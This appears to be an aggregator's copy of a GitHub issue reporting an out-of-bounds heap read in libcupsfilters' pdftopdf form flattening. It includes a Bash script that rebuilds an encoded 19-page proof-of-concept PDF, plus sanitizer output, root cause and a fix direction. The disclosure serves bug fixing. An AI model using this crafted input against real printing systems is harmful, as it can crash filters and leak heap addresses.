OpenPrinting / OpenPrinting/libcupsfilters

pdftopdf: form flattening indexes past the resource map

Open
#175 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
17
Forks
71
Avg merge
2d 17h
Merged PRs (30d)
13

Description

Summary

The form/annotation flattening path indexes the fixed 16-entry
resmap array with the document page number. A valid 19-page PDF therefore
reads past the heap object while copying page streams.

This is an out-of-bounds read, not memory corruption. Page 18 reliably prints
an adjacent heap pointer to the filter log; page 19 crosses the complete
allocation and is detected by ASan.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.pdf is a 2,880-byte PDF with 19 independent Page objects,
valid empty content streams, and a non-empty AcroForm field array. Its
SHA-256 is
050d3719567b04c2dd6c5686b50d53c02ae49cdb3be13598cf56f81b85e48c77.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: pdftopdf: form flattening indexes past the resource map
# Finding ID: pdftopdf-flatten-resmap-oob-read
# Trigger: The form/annotation flattening path indexes the fixed 16-entry
# resmap array with the document page number. A valid 19-page PDF therefore
# reads past the heap object while copying page streams.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.pdf (2880 bytes)
write_file document.pdf 050d3719567b04c2dd6c5686b50d53c02ae49cdb3be13598cf56f81b85e48c77 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA71WTW/UMBC9+1f4slI5QDzjfDhSVQkKuQCiLb1VHNKuG4K2CTiutPDrmdgtu+pw
niiZKM8z701s5ymbi/fda3hTKtBGz7c/1OmpLq5///S6OO9jv5sHXVz0g180UsKVLt7ehbmbw4Ne
E7vR77aLvkG7Dn7TZ2d0Kj9tVyZkjJmo+DiuNalElylWKdYpNim6FNsUweQb5FtuBHI9ZALIDJAp
IHNAJoHMgpkFIbdanM+PU1wHDx3b/3a8xuAp92kGPvvt2L+b9/pmZWyQTqK78sv8GO7o/aia5oH4
p0hVNHG57iBTyshUMjK1jEwjI+NkZFoZmfTlSOiAkA4K6Qg5AQhZAQh5AQiZAQi5AQjZAQj5AQr5
AQr5AR77wSc/DfE7/VHQ+BKD7x/UL3W5pj49PRcdf9zdNTW4p0ufxDAOgw+vjvj3wd8ro7FU5t+h
66qylb7XB4xWL41MB6wFhmHN8yy99EusbCqGVY1jWO24RuNKhjnXMKxtzUsMTMtqAVqmC9awnqE0
NcMq4Bo1cI0GuIZDrtEi00BjmQaCZRqI1nHseI1i6MedD2lPfB3/eFpz2onzTH+Iz3tuiX2IaUeg
taXabD586dRfG50Ma0ALAAA=
POC_PAYLOAD_0

Result

UBSan first reports index 16 beyond pdfio_dict_t *[16]. Page 18 prints the
adjacent output heap pointer as resmap[17]; page 19 causes an ASan
heap-buffer-overflow read of size eight at pdftopdf.c:1939, status 134.

The plain build exits zero and creates a valid 19-page PDF, but its debug log
also contains the process-specific heap address. Practical confidentiality
impact therefore depends on whether an attacker can read filter logs.

The same raw PDF was also replayed directly through the current
fuzz_cupsfilters_pdf_to_pdf libFuzzer binary with -runs=1; it reaches the
same ASan frame at line 1939. harness.txt records that check, confirming that
this state is visible to the current OSS-Fuzz target without a bundle change.

Cause and expected behavior

xform_page_ext_t contains resmap[16] in pdftopdf-private.h:80.
Flattening allocates one such object for the whole document, loads every page
into a dynamic input array, and calls flatten_pdf(..., pg, ...) for each
page at pdftopdf.c:2480-2518. flatten_pdf() then logs
outpage->resmap[pg] at line 1939, incorrectly treating the document page
number as a resource-map index.

Resource lookup must use the resource type/index associated with the current
page, with an explicit bound below 16. Debug output should not expose raw
process addresses.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by running reproduce.sh with the supplied document.pdf, then read xform_page_ext_t in pdftopdf-private.h:80 and the flattening path in pdftopdf.c:1939 and 2480-2518. Done means the 19-page input no longer produces an out-of-bounds read or exposes a raw heap address, with the existing reproduction and fuzz target checks passing.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
55/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.